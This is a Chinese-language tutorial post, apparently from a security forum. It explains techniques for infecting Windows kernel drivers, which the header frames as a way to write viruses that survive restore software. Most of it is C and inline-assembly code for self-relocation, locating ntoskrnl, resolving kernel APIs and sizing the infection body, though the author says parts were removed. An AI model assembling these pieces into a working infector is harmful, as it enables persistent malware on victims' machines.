驅動感染技術,可寫穿透還原軟件的病毒的技術


驅動感染技術,可寫穿透還原軟件的病毒的技術
用的正道上,可以寫穿透還原軟件的遊戲更新軟件!
標 題: 【原創】驅動感染技術掃盲(C描述)

上週的上週的....週末有位同學提到過驅動感染問題,而剛好週末也沒有地方可去,所以就有了這篇文章的出現.既然是掃盲版,那肯定是沒有什麼高深的東西了,只是一些奇淫技巧,高手請自動跳過。
好了,迴歸正題,很多年前(其實也就4, 5年,拌一下老人,呵呵)玩Ring3下PE感染的時候就用過相關的東西,那麼我們來想想,一個標準的PE感染要解決哪幾個問題呢?
1、重定位問題
在彙編裏可以很簡單的使用下面這種方式來重定位代碼或全局數據:
Start:
    call lbl_Next
lbl_Next:
    pop ebx
    sub ebx, 5
    sub ebx, offset Start

要訪問全局數據就這樣:Mov eax, dword ptr[ebx + GlobalData]
那麼用C語言裏怎麼重定位呢,呵呵,有人說過在C裏不能嵌彙編嗎?沒有,嘿,那就用匯編,如:
/**
*@brief 取得全局變量或函數重定位後的地址
*
*@param[in]    pVar 全局變量或函數的地址
*@return 返回全局變量或函數的實際地址
*/
PVOID KGetGlobalVarAddr(PVOID pVar)
{
  PVOID pCurAddr = NULL;
  __asm
  {
Start:
    call lbl_Next
lbl_Next:
    pop eax
    sub eax, 5
    sub eax, offset Start
    add eax, pVar
    mov pCurAddr, eax
  }
  return pCurAddr;
}

訪問全局數據就成這樣:pData = KGetGlobalVarAddr(&GlobalData);
2、引入表問題
得到ntoskrnl基址
大家都知道DriverEntry函數的第一個參數是一個DriverObject,該參數的結構如下
nt!_DRIVER_object
   +0x000 Type             : Int2B
   +0x002 Size             : Int2B
   +0x004 DeviceObject     : Ptr32 _DEVICE_object
   +0x008 Flags            : Uint4B
   +0x00c DriverStart      : Ptr32 Void
   +0x010 DriverSize       : Uint4B
   +0x014 DriverSection    : Ptr32 Void
   +0x018 DriverExtension  : Ptr32 _DRIVER_EXTENSION
   +0x01c DriverName       : _UNICODE_STRING
   +0x024 HardwareDatabase : Ptr32 _UNICODE_STRING
   +0x028 FastIoDispatch   : Ptr32 _FAST_IO_DISPATCH
   +0x02c DriverInit       : Ptr32    
   +0x030 DriverStartIo    : Ptr32    
   +0x034 DriverUnload     : Ptr32    
   +0x038 MajorFunction    : [28] Ptr32    

其中DriverSection成員指向LDR_DATA_TABLE_ENTRY結構,如下:
+0x000 InLoadOrderLinks : _LIST_ENTRY
   +0x008 InMemoryOrderLinks : _LIST_ENTRY
   +0x010 InInitializationOrderLinks : _LIST_ENTRY
   +0x018 DllBase          : Ptr32 Void
   +0x01c EntryPoint       : Ptr32 Void
   +0x020 SizeOfImage      : Uint4B
   +0x024 FullDllName      : _UNICODE_STRING
   +0x02c BaseDllName      : _UNICODE_STRING
   +0x034 Flags            : Uint4B
   +0x038 LoadCount        : Uint2B
   +0x03a TlsIndex         : Uint2B
   +0x03c HashLinks        : _LIST_ENTRY
   +0x03c SectionPointer   : Ptr32 Void
   +0x040 CheckSum         : Uint4B
   +0x044 TimeDateStamp    : Uint4B
   +0x044 LoadedImports    : Ptr32 Void
   +0x048 EntryPointActivationContext : Ptr32 Void
   +0x04c PatchInformation : Ptr32 Void

DllBase、SizeOfImage、FullDllName、BaseDllName等等都是好東西呀,呵呵

通過遍歷這張表得到ntoskrnl的基址和大小,如下

/**
*@brief 根據驅動模塊名返回對應的映像基址和映像大小
*
*@param[in]    pwszModuleName 驅動模塊名
*@param[in]    pulModuleSize 返回驅動模塊的大小

*@return 返回0表示失敗,其它值是驅動模塊基址
*/
ULONG KGetModuleBase(WCHAR *pwszModuleName, ULONG *pulModuleSize)
{
  ULONG ulModuleBase = 0;
  LIST_ENTRY *Entry = NULL;
  LDR_DATA_TABLE_ENTRY *DataTableEntry = NULL;
  PDRIVER_object DriverObject = KGetGlobalVarAddr(g_pDriverObject);

  Entry = ((LIST_ENTRY*)DriverObject->DriverSection)->Flink;
  do
  {
    DataTableEntry = CONTAINING_RECORD(Entry,
      LDR_DATA_TABLE_ENTRY,
      InLoadOrderLinks);
    if (DataTableEntry->EntryPoint &&
      DataTableEntry->BaseDllName.Buffer &&
      DataTableEntry->FullDllName.Buffer &&
      DataTableEntry->LoadCount
      )
    {

      if ( !KWcsNiCmp(
        DataTableEntry->BaseDllName.Buffer,
        pwszModuleName,
        DataTableEntry->BaseDllName.Length / sizeof(WCHAR)
        )
        )
      {
        ulModuleBase = DataTableEntry->DllBase;
        if (pulModuleSize)
        {
          *pulModuleSize = DataTableEntry->SizeOfImage;
        }
        goto Exit0;
      }
    }

    Entry = Entry->Flink;

  }
  while (Entry != ((LIST_ENTRY*)DriverObject->DriverSection)->Flink);



Exit0:

  return ulModuleBase;
}
(注:也可以用上面的方法來枚舉已經加載的驅動列表)


通過導出表取得函數地址

/**
*@brief 根據函數名返回函數對應的RVA地址
*
*@param[in]    pe PE對象
*@param[in]    Name 導出表內的函數名

*@return 返回表示失敗,其它值是函數的RVA地址
*/
ULONG KPEGetFuncRVAByName(KPELIB *pe, CHAR *pszFuncName)
{
  ULONG FuncRVA = 0;
  ULONG *puFuncNameAddress = 0;
  USHORT *puAddressOfOrd = 0;
  ULONG *puAddressOfFunc = 0;
  ULONG i = 0;
  USHORT Index = 0;
  PUCHAR pFuncName = NULL;
  ULONG FuncNameRVA = 0;


  PROCESS_ERROR(pe->pExportEntry);
  puFuncNameAddress = (ULONG*)( pe->pExportEntry->AddressOfNames +  pe->pMap);
  puAddressOfOrd = (USHORT*)( pe->pExportEntry->AddressOfNameOrdinals +  pe->pMap);
  puAddressOfFunc = (ULONG*)( pe->pExportEntry->AddressOfFunctions +  pe->pMap);
  for (i = 0; i <  pe->pExportEntry->NumberOfNames; i++)
  {
    Index = puAddressOfOrd[i];

    FuncNameRVA = puFuncNameAddress[i];
    pFuncName = (PUCHAR)( pe->pMap + FuncNameRVA);

    if (KStrCmp(pszFuncName, (CHAR*)pFuncName) == 0)
    {
      FuncRVA = puAddressOfFunc[Index];
      break;
    }

  }


Exit0:
  return FuncRVA;
}

/**
*@brief 根據內核映像初始一個PE對象
*
*@param[in]    Buffer 內核映像基址
*@param[in]    uFileSize 內核映像大小
*@param[out]  pe PE對象
*@return 返回STATUS_SUCCESS時成功,其它值爲失敗
*/
int KPEInitFromMem(PUCHAR Buffer, ULONG uFileSize, KPELIB *pe)
{
  int    nResult = STATUS_UNSUCCESSFUL;

  if (!pe)
  {
    goto Exit0;
  }

  pe->pDosHdr = (PIMAGE_DOS_HEADER)Buffer;
  pe->pNtHdr = (PIMAGE_NT_HEADERS32)(Buffer +  pe->pDosHdr->e_lfanew);
  pe->pSecHdr = (PIMAGE_SECTION_HEADER)(
    pe->pDosHdr->e_lfanew +
    pe->pNtHdr->FileHeader.SizeOfOptionalHeader +

    0x18 + Buffer
    );

  pe->pExportEntry = (PIMAGE_EXPORT_DIRECTORY)(
    Buffer +
    pe->pNtHdr->OptionalHeader.DataDirectory[0].VirtualAddress
    );

  pe->pImportEntry = (PIMAGE_IMPORT_DESCRIPTOR)(
    Buffer +
    pe->pNtHdr->OptionalHeader.DataDirectory[1].VirtualAddress
    );

  pe->pBaseReloc = (PIMAGE_BASE_RELOCATION)(
    Buffer +
    pe->pNtHdr->OptionalHeader.DataDirectory[5].VirtualAddress
    );

  pe->IsInitSuccessed = TRUE;
  pe->pMap = Buffer;
  pe->uMapSize = uFileSize;
  nResult = STATUS_SUCCESS;
Exit0:
  return nResult;
}

/**
*@brief 根據函數名得到函數的地址,可以理解爲GetProcAddress
*
*@param[in]    pwszModuleName 驅動模塊名
*@param[in]    pszFuncName 函數名

*@return 返回表示失敗,其它值是函數的地址
*/
ULONG KGetApiAddr(WCHAR *pwszModuleName, CHAR *pszFuncName)
{
  int    nRetCode = FALSE;
  ULONG  ulApiAddr = 0;
  ULONG  ulNtosBase = 0;
  ULONG  ulNtosSize = 0;
  KPELIB  pe;

  

  ulNtosBase = KGetModuleBase(KGetGlobalVarAddr(pwszModuleName), &ulNtosSize);
  if (!ulNtosBase)
  {
    goto Exit0;
  }

  nRetCode = KPEInitFromMem((PUCHAR)ulNtosBase, ulNtosSize, &pe);
  if(!NT_SUCCESS(nRetCode))
  {
    goto Exit0;
  }

  ulApiAddr = KPEGetFuncRVAByName(&pe, KGetGlobalVarAddr(pszFuncName));
  if (!ulApiAddr)
  {
    goto Exit0;
  }

  ulApiAddr += ulNtosBase;

Exit0:

  return ulApiAddr;
}
使用示例:
WCHAR g_Ntoskrnl[] = L"ntoskrnl.exe";
CHAR  g_ApiName[] = "NtCreateFile";
pFunc = KGetApiAddr(
KGetGlobalVar(g_Ntoskrnl),
KGetGlobalVar(g_ApiName)
);
其它的不多說了,大家應該對這塊是已經熟得不能再熟了^_^

3、感染體大小的取得
    我的解決方案是:
    在所有的代碼和數據前面放置KGetStartAddr函數
/**
*@brief 取得當前函數的地址
*
*@return 返回當前函數的地址
*/
ULONG __declspec(naked) KGetStartAddr()
{
  __asm
  {
    call lbl_Next
lbl_Next:
    pop eax
    sub eax, 5
    ret
  }
}
在所有的代碼和數據前面放置KGetEndAddr函數

/**
*@brief 取得當前函數末的地址
*
*@return 返回前函數末的地址
*/
ULONG __declspec(naked) KGetEndAddr()
{
  __asm
  {
    call lbl_Next
lbl_Next:
    pop eax
    add eax, 5
    ret
  }
}

感染體大小= KGetEndAddr() - KGetStartAddr()

4、把.data節和.text節合併
方法:
  把VC2005的工程屬性Linker->Advanced->Merge Sections字段改成.data=.text

5、重新計算文件CheckSum,對於驅動來說,這個很重要,不重新計算驅動會加載失敗
從2000源代碼裏A出來的,具體看源代碼
6、記不起來了,具體看源代碼,自己慢慢調,慢慢藍,嘿


聲明:
本文的目的不是在教大家怎麼寫驅動感染病毒,純粹是一種技術交流,使用本文所演示的技術所造成的一切影響都與本人無關。


源代碼說明:
代碼被我刪除了一些東西,所以不要問我怎麼編譯通不過,懂得相關技術的人自然很容易補齊,這也是爲了防止有人直接A過去幹壞事^_^
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章